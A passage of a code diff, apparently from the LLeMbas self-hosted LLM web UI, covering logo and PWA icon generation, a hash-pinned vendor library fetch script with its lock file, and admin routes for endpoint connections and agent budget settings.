LEAF_MID = "#B8C7D5" LEAF_EDGE = "#9DB49A"
LEAF_VEIN = "#61758A" LEAF_LIGHT = "#F3F8EE"
LEAF_STEM = "#8A9AA8" LEAF_MID = "#C6D8BE"
LEAF_VEIN = "#57734F"
LEAF_STEM = "#8B9E86"
NIGHT_TOP = "#080B0F" NIGHT_TOP = "#080B0F"
NIGHT_MID = "#101822" NIGHT_MID = "#101822"
@@ -66,22 +93,37 @@ INK = "#1B1F23"
MUTED = "#9AA7B4" MUTED = "#9AA7B4"
# --- The mallorn leaf -------------------------------------------------------- # --- The mallorn leaf --------------------------------------------------------
# Drawn once, in a 64x64 box, and reused everywhere. Tuned so the silhouette # Drawn once, in a 64x64 box, and reused everywhere. The blade runs corner to
# still reads as a leaf at 16px, where veins and score lines disappear. # corner and fills most of the tile, because at 16px the only thing that
# survives is the outline: a small leaf on a large tile reads as a green square
# with a smudge on it. Veins and the score line are detail-only for the same
# reason.
# Ovate, not lens-shaped: the widest point sits about a third up from the base,
# the base is a rounded cusp where the stem meets it, and only the tip is drawn
# out to a point. A blade pointed at both ends reads as an eye.
LEAF_BLADE = ( LEAF_BLADE = (
"M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" "M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 "
"C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z"
) )
LEAF_MIDRIB = "M20.5 45.5 C28 38 36 29 45.5 18.5" LEAF_MIDRIB = "M21 46 Q30.5 34.5 46 18"
LEAF_STEM_PATH = "M21.2 44.8 L17 49.4" LEAF_STEM_PATH = "M21.4 45.6 L16.3 51.2"
# Veins sweep towards the tip rather than leaving the midrib square-on, and
# shorten as the blade narrows.
LEAF_VEINS = [ LEAF_VEINS = [
"M26.9 38.8 Q25.2 35.8 24.9 32.1", "M26.8 39.2 Q24.9 37.4 24.7 35.3",
"M32.3 33.1 Q30.9 30.3 30.4 26.9", "M32.0 33.3 Q30.1 31.5 29.8 29.2",
"M37.8 27.0 Q36.6 24.6 36.3 21.7", "M37.8 26.9 Q36.4 25.6 36.1 23.7",
"M26.9 38.8 Q30.5 40.1 33.7 40.3", "M26.8 39.2 Q28.7 40.9 30.7 40.8",
"M32.3 33.1 Q35.8 34.3 38.6 34.5", "M32.0 33.3 Q33.9 35.0 36.1 34.9",
"M37.8 27.0 Q40.8 27.9 43.2 28.1", "M37.8 26.9 Q39.4 28.2 40.9 28.2",
] ]
# The wafer's break-lines. Axis-aligned and crossed, deliberately: a single
# diagonal behind a diagonal leaf does not read as scoring, it reads as a line
# struck through the mark. Thin and faint, so it is texture and not structure.
WAFER_SCORES = ("M32 5 V59", "M5 32 H59")
WAFER_SCORE_HILIGHTS = ("M33.1 5 V59", "M5 33.1 H59")
HEADER = '<svg xmlns="http://www.w3.org/2000/svg"' HEADER = '<svg xmlns="http://www.w3.org/2000/svg"'
@@ -174,10 +216,10 @@ def type_style(indent: str = " ") -> str:
""" """
return f"""{indent}<style> return f"""{indent}<style>
{indent} .base {{ fill: var(--lembas-ink, {INK}); }} {indent} .base {{ fill: var(--lembas-ink, {INK}); }}
{indent} .accent {{ fill: var(--lembas-gold, {GOLD}); }} {indent} .accent {{ fill: var(--lembas-leaf, {MALLORN_DEEP}); }}
{indent} @media (prefers-color-scheme: dark) {{ {indent} @media (prefers-color-scheme: dark) {{
{indent} .base {{ fill: var(--lembas-ink, {PARCHMENT}); }} {indent} .base {{ fill: var(--lembas-ink, {PARCHMENT}); }}
{indent} .accent {{ fill: var(--lembas-gold, {RUNE_GOLD}); }} {indent} .accent {{ fill: var(--lembas-leaf, {MALLORN}); }}
{indent} }} {indent} }}
{indent}</style>""" {indent}</style>"""
@@ -186,9 +228,9 @@ def type_style(indent: str = " ") -> str:
def mark_defs(prefix: str) -> str: def mark_defs(prefix: str) -> str:
return f""" <defs> return f""" <defs>
<linearGradient id="{prefix}-wafer" x1="0" y1="0" x2="0.3" y2="1"> <linearGradient id="{prefix}-wafer" x1="0" y1="0" x2="0.3" y2="1">
<stop offset="0" stop-color="{GOLD_LIGHT}"/> <stop offset="0" stop-color="{WAFER_LIGHT}"/>
<stop offset="0.5" stop-color="{GOLD}"/> <stop offset="0.5" stop-color="{WAFER}"/>
<stop offset="1" stop-color="{GOLD_DARK}"/> <stop offset="1" stop-color="{WAFER_DARK}"/>
</linearGradient> </linearGradient>
<linearGradient id="{prefix}-leaf" x1="0.1" y1="1" x2="0.9" y2="0"> <linearGradient id="{prefix}-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
<stop offset="0" stop-color="{LEAF_EDGE}"/> <stop offset="0" stop-color="{LEAF_EDGE}"/>
@@ -196,7 +238,7 @@ def mark_defs(prefix: str) -> str:
<stop offset="1" stop-color="{LEAF_MID}"/> <stop offset="1" stop-color="{LEAF_MID}"/>
</linearGradient> </linearGradient>
<clipPath id="{prefix}-clip"> <clipPath id="{prefix}-clip">
<rect x="6" y="6" width="52" height="52" rx="13"/> <rect x="5" y="5" width="54" height="54" rx="14"/>
</clipPath> </clipPath>
</defs>""" </defs>"""
@@ -204,23 +246,23 @@ def mark_defs(prefix: str) -> str:
def mark_body(prefix: str, *, detail: bool = True) -> str: def mark_body(prefix: str, *, detail: bool = True) -> str:
"""The wafer-and-leaf mark in a 64x64 box. """The wafer-and-leaf mark in a 64x64 box.
detail=False drops the score lines, rim and veins for small-size use. detail=False drops the score line, rim and veins for small-size use.
""" """
parts = [f' <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#{prefix}-wafer)"/>'] parts = [f' <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#{prefix}-wafer)"/>']
if detail: if detail:
scores = "\n".join(f' <path d="{s}"/>' for s in WAFER_SCORES)
hilights = "\n".join(f' <path d="{s}"/>' for s in WAFER_SCORE_HILIGHTS)
parts.append(f""" <g clip-path="url(#{prefix}-clip)" fill="none" stroke-linecap="round"> parts.append(f""" <g clip-path="url(#{prefix}-clip)" fill="none" stroke-linecap="round">
<g stroke="{GOLD_SCORE}" stroke-opacity="0.38" stroke-width="2"> <g stroke="{WAFER_SCORE}" stroke-opacity="0.30" stroke-width="1.8">
<path d="M32 6 V58"/> {scores}
<path d="M6 32 H58"/>
</g> </g>
<g stroke="{GOLD_HILIGHT}" stroke-opacity="0.3" stroke-width="1"> <g stroke="{WAFER_HILIGHT}" stroke-opacity="0.20" stroke-width="0.9">
<path d="M33.2 6 V58"/> {hilights}
<path d="M6 33.2 H58"/>
</g> </g>
</g> </g>
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9" <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
fill="none" stroke="{GOLD_SCORE}" stroke-opacity="0.3" stroke-width="1.2"/>""") fill="none" stroke="{WAFER_SCORE}" stroke-opacity="0.32" stroke-width="1.2"/>""")
parts.append(f""" <g> parts.append(f""" <g>
<path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3" <path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3"
@@ -245,7 +287,7 @@ def build_logo_mark() -> str:
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64" return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
role="img" aria-label="LLeMbas"> role="img" aria-label="LLeMbas">
<title>LLeMbas</title> <title>LLeMbas</title>
<desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc> <desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
{mark_defs("m")} {mark_defs("m")}
{mark_body("m")} {mark_body("m")}
</svg> </svg>
@@ -253,14 +295,19 @@ def build_logo_mark() -> str:
def build_favicon() -> str: def build_favicon() -> str:
"""Small-size variant: no score lines or veins, larger blade, tighter tile.""" """Small-size variant: no score line or veins, larger blade, tighter tile.
The tile grows to the edge of the box and the leaf is scaled up again on top
of that: at 16px the padding of the full mark is several device pixels of
nothing, spent on a rounded corner nobody can see.
"""
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64" return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
role="img" aria-label="LLeMbas"> role="img" aria-label="LLeMbas">
<title>LLeMbas</title> <title>LLeMbas</title>
{mark_defs("f")} {mark_defs("f")}
<rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/> <rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
<g transform="translate(32 32) scale(1.16) translate(-32 -32)"> <g transform="translate(32 32) scale(1.1) translate(-32 -32)">
<path d="M20.6 44.6 L15.6 50.1" stroke="{LEAF_STEM}" stroke-width="3.4" <path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3.4"
stroke-linecap="round" fill="none"/> stroke-linecap="round" fill="none"/>
<path d="{LEAF_BLADE}" fill="url(#f-leaf)"/> <path d="{LEAF_BLADE}" fill="url(#f-leaf)"/>
<path d="{LEAF_MIDRIB}" fill="none" stroke="{LEAF_VEIN}" stroke-opacity="0.45" <path d="{LEAF_MIDRIB}" fill="none" stroke="{LEAF_VEIN}" stroke-opacity="0.45"
@@ -316,6 +363,66 @@ def build_lockup() -> str:
""" """
# --- PWA icons ---------------------------------------------------------------
# Same geometry as everything else, rasterised because a launcher icon has to
# be a bitmap. Two shapes are needed, not one:
#
# "any" -- drawn as supplied, so the wafer's own rounded square is the
# silhouette and the corners stay transparent.
# "maskable" -- Android crops it to a circle, squircle or rounded square of
# the launcher's choosing, so the art must be full-bleed and
# the mark must sit inside the central safe zone. An "any"
# icon used as maskable gets its corners sliced off.
#
# The Apple icon is opaque for a different reason: iOS composites a home screen
# icon onto black, so transparency reads as a black tile rather than as the
# wallpaper showing through.
def _framed_mark(prefix: str, *, background: str | None = None, inset: float = 0.0) -> str:
"""The mark on a 64x64 canvas, optionally opaque and inset from the edges."""
size = 64.0
offset = size * inset
scale = 1.0 - inset * 2
plate = f' <rect width="{size:.0f}" height="{size:.0f}" fill="{background}"/>\n'
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
role="img" aria-label="LLeMbas">
{mark_defs(prefix)}
{plate if background else ""} <g transform="translate({offset:.3f} {offset:.3f}) \
scale({scale:.4f})">
{mark_body(prefix)}
</g>
</svg>
"""
def _rasterise(svg: str, size: int) -> bytes:
try:
import cairosvg
except ImportError: # pragma: no cover - design-time tool
sys.exit("cairosvg is required for the PWA icons: pip install cairosvg")
return cairosvg.svg2png(
bytestring=svg.encode("utf-8"), output_width=size, output_height=size
)
def build_icon_192() -> bytes:
return _rasterise(_framed_mark("i192"), 192)
def build_icon_512() -> bytes:
return _rasterise(_framed_mark("i512"), 512)
def build_icon_maskable() -> bytes:
# 20% inset leaves the mark inside the central 60%, comfortably within the
# 80% safe circle every launcher mask respects.
return _rasterise(_framed_mark("imask", background=NIGHT_MID, inset=0.20), 512)
def build_apple_touch_icon() -> bytes:
# iOS rounds the corners itself, so only a hairline of padding is wanted.
return _rasterise(_framed_mark("iios", background=NIGHT_MID, inset=0.06), 180)
def _mountains(width: float, base_y: float, seed: int, height: float, colour: str) -> str: def _mountains(width: float, base_y: float, seed: int, height: float, colour: str) -> str:
"""One jagged ridge line spanning the full width.""" """One jagged ridge line spanning the full width."""
rng = random.Random(seed) rng = random.Random(seed)
@@ -362,7 +469,7 @@ def _drifting_leaves(seed: int) -> str:
out.append( out.append(
f' <g transform="translate({cx} {cy}) rotate({rot}) ' f' <g transform="translate({cx} {cy}) rotate({rot}) '
f'scale({scale}) translate(-32 -32)" opacity="{opacity:.2f}">' f'scale({scale}) translate(-32 -32)" opacity="{opacity:.2f}">'
f'<path d="{LEAF_BLADE}" fill="{RUNE_GOLD}"/></g>' f'<path d="{LEAF_BLADE}" fill="{MALLORN}"/></g>'
) )
return "\n".join(out) return "\n".join(out)
@@ -402,8 +509,8 @@ def build_banner() -> str:
<stop offset="1" stop-color="{NIGHT_LOW}"/> <stop offset="1" stop-color="{NIGHT_LOW}"/>
</linearGradient> </linearGradient>
<radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5"> <radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
<stop offset="0" stop-color="{GOLD}" stop-opacity="0.22"/> <stop offset="0" stop-color="{MALLORN}" stop-opacity="0.22"/>
<stop offset="1" stop-color="{GOLD}" stop-opacity="0"/> <stop offset="1" stop-color="{MALLORN}" stop-opacity="0"/>
</radialGradient> </radialGradient>
<!-- Cool light sitting just above the ridge line, so the far mountains <!-- Cool light sitting just above the ridge line, so the far mountains
separate from the near ones instead of merging into one dark mass. --> separate from the near ones instead of merging into one dark mass. -->
@@ -427,7 +534,7 @@ def build_banner() -> str:
{_mountains(width, 366, 3, 150, "#1C2836")} {_mountains(width, 366, 3, 150, "#1C2836")}
{_mountains(width, 392, 8, 112, "#111A25")} {_mountains(width, 392, 8, 112, "#111A25")}
{_mountains(width, 416, 21, 74, "#080D13")} {_mountains(width, 416, 21, 74, "#080D13")}
<rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{GOLD}" opacity="0.55"/> <rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{MALLORN}" opacity="0.55"/>
<!-- Lockup. Colours are fixed rather than themed: the banner carries its own <!-- Lockup. Colours are fixed rather than themed: the banner carries its own
night sky, so it must not follow the reader's colour scheme. --> night sky, so it must not follow the reader's colour scheme. -->
@@ -435,7 +542,7 @@ def build_banner() -> str:
{mark_body("b")} {mark_body("b")}
</g> </g>
<g transform="translate({lockup_x + mark_size + gap - run.x0:.2f} {baseline_y:.2f})"> <g transform="translate({lockup_x + mark_size + gap - run.x0:.2f} {baseline_y:.2f})">
<style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {RUNE_GOLD}; }}</style> <style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {MALLORN}; }}</style>
{run.paths(ACCENT_GLYPHS, indent=" ")} {run.paths(ACCENT_GLYPHS, indent=" ")}
</g> </g>
<g transform="translate({tag_x:.2f} {tag_y:.2f})"> <g transform="translate({tag_x:.2f} {tag_y:.2f})">
@@ -453,6 +560,10 @@ BUILDERS = {
"wordmark.svg": build_wordmark, "wordmark.svg": build_wordmark,
"logo-lockup.svg": build_lockup, "logo-lockup.svg": build_lockup,
"banner.svg": build_banner, "banner.svg": build_banner,
"icon-192.png": build_icon_192,
"icon-512.png": build_icon_512,
"icon-maskable-512.png": build_icon_maskable,
"apple-touch-icon-180.png": build_apple_touch_icon,
} }
@@ -463,10 +574,21 @@ def main() -> None:
args = parser.parse_args() args = parser.parse_args()
args.out.mkdir(parents=True, exist_ok=True) args.out.mkdir(parents=True, exist_ok=True)
STATIC_IMG.mkdir(parents=True, exist_ok=True)
for filename in args.only or BUILDERS: for filename in args.only or BUILDERS:
content = BUILDERS[filename]()
# The PNG builders return bytes; everything else returns SVG source.
data = content if isinstance(content, bytes) else content.encode("utf-8")
path = args.out / filename path = args.out / filename
path.write_text(BUILDERS[filename](), encoding="utf-8") path.write_bytes(data)
print(f"wrote {path.relative_to(ROOT)} ({path.stat().st_size:,} bytes)") print(f"wrote {path.relative_to(ROOT)} ({len(data):,} bytes)")
if filename in SERVED_BY_APP:
served = STATIC_IMG / filename
served.write_bytes(data)
print(f" -> {served.relative_to(ROOT)}")
if __name__ == "__main__": if __name__ == "__main__":
+149
View File
@@ -0,0 +1,149 @@
#!/usr/bin/env python3
"""Download the pinned browser libraries into the static vendor directory.
LLeMbas has no Node toolchain and loads nothing from a CDN at runtime -- a
self-hosted tool should keep working without internet access, and should not
report every user's page view to a third party. The few libraries it does use
are fetched once, here, and committed.
Integrity is enforced with vendor.lock.json. A mismatched hash aborts rather
than overwriting, and so does a name that is not in the lock at all: that is
the whole point of pinning.
python scripts/fetch_vendor.py # fetch and verify against the lock
python scripts/fetch_vendor.py --update # re-pin after a version bump
"""
from __future__ import annotations
import argparse
import hashlib
import json
import sys
import urllib.error
import urllib.request
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
VENDOR_DIR = ROOT / "src" / "lembas" / "web" / "static" / "vendor"
LOCKFILE = Path(__file__).resolve().parent / "vendor.lock.json"
# Pinned deliberately. Bump the version, run with --update, review the diff.
PACKAGES = {
"htmx.min.js": {
"version": "2.0.10",
"url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
"why": "Server-rendered interactivity: every swap in the app.",
},
"htmx-ext-sse.js": {
"version": "2.2.4",
"url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
"why": "Server-sent events, which is how streamed replies reach the page.",
},
"alpine.min.js": {
"version": "3.15.12",
"url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
"why": "Small client-only state: menus, theme toggle, composer autosize.",
},
"xterm.js": {
"version": "5.5.0",
"url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
"why": "The terminal panel. Loaded only on a chat that has an SSH connection.",
},
"xterm.css": {
"version": "5.5.0",
"url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
"why": "Terminal layout. Its colours are overridden from tokens.css at runtime.",
},
"xterm-addon-fit.js": {
"version": "0.10.0",
"url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
"why": "Sizes the terminal to the panel; without it a resize is 80x24 forever.",
},
}
def sha256(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def fetch(url: str) -> bytes:
request = urllib.request.Request(url, headers={"User-Agent": "lembas-vendor-fetch"})
with urllib.request.urlopen(request, timeout=60) as response: # noqa: S310
return response.read()
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--update",
action="store_true",
help="rewrite vendor.lock.json with the hashes just downloaded",
)
args = parser.parse_args()
lock = json.loads(LOCKFILE.read_text()) if LOCKFILE.exists() else {}
VENDOR_DIR.mkdir(parents=True, exist_ok=True)
new_lock: dict[str, dict[str, str]] = {}
failed = False
for filename, spec in PACKAGES.items():
try:
payload = fetch(spec["url"])
except (urllib.error.URLError, TimeoutError) as exc:
print(f" FAIL {filename}: {exc}", file=sys.stderr)
failed = True
continue
digest = sha256(payload)
expected = lock.get(filename, {}).get("sha256")
if lock and not expected and not args.update:
# A name added to PACKAGES but absent from the lock has nothing to
# compare against, so the mismatch branch below never fires and the
# file lands unpinned -- which is the one thing this script exists
# to prevent. Adding a library is a --update, like bumping one.
print(
f" FAIL {filename}: not in {LOCKFILE.name}\n"
f" Nothing to verify this download against. If the "
f"library was added deliberately, re-run with --update.",
file=sys.stderr,
)
failed = True
continue
if expected and digest != expected and not args.update:
print(
f" FAIL {filename}: hash mismatch\n"
f" expected {expected}\n"
f" received {digest}\n"
f" Refusing to overwrite. If the version was bumped "
f"deliberately, re-run with --update.",
file=sys.stderr,
)
failed = True
continue
(VENDOR_DIR / filename).write_bytes(payload)
new_lock[filename] = {
"version": spec["version"],
"url": spec["url"],
"sha256": digest,
}
status = "ok" if expected == digest else ("pinned" if args.update else "new")
print(f" {status:>6} {filename} {len(payload):>8,} bytes v{spec['version']}")
if failed:
print("\nOne or more downloads failed. Vendored files were not fully written.")
return 1
if args.update or not LOCKFILE.exists():
LOCKFILE.write_text(json.dumps(new_lock, indent=2, sort_keys=True) + "\n")
print(f"\nwrote {LOCKFILE.relative_to(ROOT)}")
return 0
if __name__ == "__main__":
sys.exit(main())
+32
View File
@@ -0,0 +1,32 @@
{
"alpine.min.js": {
"sha256": "57b37d7cae9a27d965fdae4adcc844245dfdc407e655aee85dcfff3a08036a3f",
"url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
"version": "3.15.12"
},
"htmx-ext-sse.js": {
"sha256": "3b5992a541619babefc4c169505af474df5c3039da51e59b96ccf9241ecd61d2",
"url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
"version": "2.2.4"
},
"htmx.min.js": {
"sha256": "71ea67185bfa8c98c39d31717c6fce5d852370fcdfd129db4543774d3145c0de",
"url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
"version": "2.0.10"
},
"xterm-addon-fit.js": {
"sha256": "bdaefa370b1bfc42ee88d46fe6072400902a4d4b2d45cd93438dda9b23c97089",
"url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
"version": "0.10.0"
},
"xterm.css": {
"sha256": "ba8e6985669488981ccf40c0cefe3aba80722cb6c92de7ad628b0bd717faf2b6",
"url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
"version": "5.5.0"
},
"xterm.js": {
"sha256": "1f991ac3b4b283ebf96e60ae23a00a52765dd3a2e46fa6fdda9f1aab032f7495",
"url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
"version": "5.5.0"
}
}
+1 -1
View File
@@ -1,3 +1,3 @@
"""LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints.""" """LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints."""
__version__ = "0.1.0" __version__ = "0.6.2"
+246
View File
@@ -0,0 +1,246 @@
"""Administration: OpenAI-compatible connections and their models."""
from __future__ import annotations
import logging
from datetime import UTC, datetime
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import func, select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import AdminUser, Db
from lembas.db.models import Connection, Model, User
from lembas.services import settings_store
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, encrypt, mask
from lembas.services.llm.openai_client import Endpoint, LLMError, context_from, list_models
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin", tags=["admin"])
def _connection(db: DBSession, connection_id: str) -> Connection:
connection = db.get(Connection, connection_id)
if connection is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
return connection
def _connections(db: DBSession) -> list[Connection]:
return list(db.scalars(select(Connection).order_by(Connection.position, Connection.name)))
@router.get("")
async def admin_home(user: AdminUser):
return RedirectResponse("/admin/general", status_code=status.HTTP_303_SEE_OTHER)
@router.get("/general")
async def general_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
return render(
request,
"admin/general.html",
{
"values": settings_store.get_group(db),
"saved": saved,
"user_count": db.scalar(select(func.count()).select_from(User)),
},
)
@router.post("/general")
async def save_general(
db: Db,
user: AdminUser,
instance_name: str = Form("LLeMbas"),
allow_signup: bool = Form(False),
system_prompt: str = Form(""),
compact_threshold: int = Form(95),
) -> Response:
"""Save instance settings.
Unchecked checkboxes are simply absent from a form post, which is why
allow_signup defaults to False here -- that absence *is* the "off" signal.
"""
settings_store.update(
db,
{
"instance_name": instance_name.strip()[:120] or "LLeMbas",
"allow_signup": allow_signup,
"system_prompt": system_prompt.strip()[:8000],
# 0 is "never"; anything else is clamped into a band where it can
# do some good. 100 is useless -- you cannot compact after
# overflowing -- and below 50 it fires while there is plenty left.
"compact_threshold": (
0 if compact_threshold <= 0 else min(max(compact_threshold, 50), 99)
),
},
)
log.info("registration %s by %s", "opened" if allow_signup else "closed", user.email)
return RedirectResponse("/admin/general?saved=1", status_code=status.HTTP_303_SEE_OTHER)
@router.get("/connections")
async def connections_page(request: Request, db: Db, user: AdminUser, message: str = ""):
connections = _connections(db)
return render(
request,
"admin/connections.html",
{
"connections": connections,
"masked": {c.id: mask(decrypt(c.api_key_encrypted)) for c in connections},
"model_counts": {
c.id: sum(1 for m in c.models if m.enabled) for c in connections
},
"message": message,
"unchanged": UNCHANGED_SENTINEL,
},
)
@router.post("/connections")
async def create_connection(
db: Db,
user: AdminUser,
name: str = Form(...),
base_url: str = Form(...),
api_key: str = Form(""),
) -> Response:
base_url = base_url.strip().rstrip("/")
if not base_url.startswith(("http://", "https://")):
raise HTTPException(
status.HTTP_400_BAD_REQUEST,
"The base URL must start with http:// or https://",
)
position = db.scalar(select(func.coalesce(func.max(Connection.position), -1))) + 1
connection = Connection(
name=name.strip()[:120] or "Connection",
base_url=base_url,
api_key_encrypted=encrypt(api_key.strip()),
position=position,
)
db.add(connection)
db.commit()
# Discover models immediately: a connection that lists nothing is
# indistinguishable from a broken one, and finding out now is the point.
await _refresh_models(db, connection)
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/connections/{connection_id}")
async def update_connection(
db: Db,
user: AdminUser,
connection_id: str,
name: str = Form(...),
base_url: str = Form(...),
api_key: str = Form(""),
enabled: bool = Form(False),
) -> Response:
connection = _connection(db, connection_id)
connection.name = name.strip()[:120] or connection.name
connection.base_url = base_url.strip().rstrip("/")
connection.enabled = enabled
submitted = api_key.strip()
if submitted and submitted != UNCHANGED_SENTINEL:
connection.api_key_encrypted = encrypt(submitted)
elif not submitted:
# An explicitly emptied field means "this endpoint needs no key".
connection.api_key_encrypted = ""
db.commit()
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/connections/{connection_id}/test")
async def test_connection(
request: Request, db: Db, user: AdminUser, connection_id: str
) -> Response:
"""Contact the endpoint and refresh its model list."""
connection = _connection(db, connection_id)
count, error = await _refresh_models(db, connection)
message = (
f"{connection.name}: {error}"
if error
else f"{connection.name}: found {count} model{'s' if count != 1 else ''}."
)
return render(
request,
"admin/_connection_row.html",
{
"connection": connection,
"masked": mask(decrypt(connection.api_key_encrypted)),
"message": message,
"message_kind": "error" if error else "success",
"unchanged": UNCHANGED_SENTINEL,
},
)
async def _refresh_models(db: DBSession, connection: Connection) -> tuple[int, str]:
"""Sync the cached model list. Returns (count, error message)."""
try:
discovered = await list_models(Endpoint.from_connection(connection))
except LLMError as exc:
connection.last_error = exc.message
connection.last_checked_at = datetime.now(UTC)
db.commit()
return 0, exc.message
existing = {model.model_id: model for model in connection.models}
seen: set[str] = set()
# New models land after everything already ordered, rather than all at
# position 0 where they would sort by id and shuffle the existing list.
# No `or -1` after the coalesce: position 0 is falsy, so that idiom sent the
# second discovered model back to 0 on top of the first.
highest = db.scalar(select(func.coalesce(func.max(Model.position), -1)))
next_position = int(highest if highest is not None else -1) + 1
for entry in discovered:
model_id = str(entry["id"])[:300]
seen.add(model_id)
if model_id in existing:
# A context length is filled in only when nobody has one yet. A
# refresh must never overwrite a number an administrator typed --
# they are usually correcting the endpoint.
model = existing[model_id]
if not model.context_length:
model.context_length = context_from(entry)
continue
db.add(
Model(
connection_id=connection.id,
model_id=model_id,
position=next_position,
context_length=context_from(entry),
)
)
next_position += 1
# Models that vanished upstream are dropped, so the picker never offers
# something the endpoint will reject.
for model_id, model in existing.items():
if model_id not in seen:
db.delete(model)
connection.last_error = ""
connection.last_checked_at = datetime.now(UTC)
db.commit()
log.info("connection %s: %d models", connection.name, len(seen))
return len(seen), ""
@router.post("/connections/{connection_id}/delete")
async def delete_connection(db: Db, user: AdminUser, connection_id: str) -> Response:
connection = _connection(db, connection_id)
db.delete(connection)
db.commit()
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
+117
View File
@@ -0,0 +1,117 @@
"""Whether agent chats exist here at all, and what they may spend.
An administrator's half of the feature. The other half -- which machines, whose
credentials -- belongs to whoever owns them and lives at `/agents`.
Nothing here is about isolation, because there is none to configure: commands
run on a host somebody chose, and its containment is that host's. The settings
are budgets, and the two lists that decide what a mode asks about.
"""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import func, select
from lembas.api.deps import AdminUser, Db
from lembas.db.models import SshProfile
from lembas.services import settings_store
from lembas.services.agent import policy
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent import terminal as terminal_service
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin/agents", tags=["admin-agents"])
def _lines(text: str) -> list[str]:
"""One pattern per line, blanks dropped."""
return [line.strip() for line in (text or "").splitlines() if line.strip()]
@router.get("")
async def agents_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
values = settings_store.agents(db)
return render(
request,
"admin/agents.html",
{
"values": values,
"allow_text": "\n".join(values.get("allow_default") or []),
"deny_text": "\n".join(values.get("deny_default") or []),
"problem": ssh_service.available(),
"profile_count": db.scalar(select(func.count()).select_from(SshProfile)) or 0,
"terminal_count": terminal_service.count(),
"modes": [(m, policy.MODE_LABELS[m], policy.MODE_HINTS[m]) for m in policy.MODES],
"saved": saved,
},
)
@router.post("")
async def save_agents(
db: Db,
user: AdminUser,
enabled: bool = Form(False),
default_timeout: int = Form(60),
max_timeout: int = Form(600),
max_output_bytes: int = Form(64 * 1024),
max_steps: int = Form(200),
max_wall_seconds: int = Form(900),
max_total_output_bytes: int = Form(1024 * 1024),
max_completion_tokens: int = Form(200_000),
approval_timeout: int = Form(900),
allow_default: str = Form(""),
deny_default: str = Form(""),
ask_free_text: bool = Form(False),
terminal_enabled: bool = Form(False),
terminal_idle_timeout: int = Form(1800),
terminal_max_sessions: int = Form(20),
terminal_max_per_user: int = Form(3),
terminal_integration: bool = Form(False),
index_enabled: bool = Form(False),
index_chars: int = Form(2000),
instructions_enabled: bool = Form(False),
instructions_chars: int = Form(4000),
) -> Response:
settings_store.update(
db,
{
"enabled": enabled,
# Clamped here as well as on read. A number with no bound is a way
# to break the instance from a form, which is the same reasoning
# the search settings carry.
"default_timeout": min(max(default_timeout, 1), 3600),
"max_timeout": min(max(max_timeout, 1), 3600),
"max_output_bytes": min(max(max_output_bytes, 1024), 1024 * 1024),
"max_steps": min(max(max_steps, 1), 1000),
"max_wall_seconds": min(max(max_wall_seconds, 30), 7200),
"max_total_output_bytes": min(max(max_total_output_bytes, 4096), 8 * 1024 * 1024),
# Floor of 0, not 1: zero is how "no ceiling" is said.
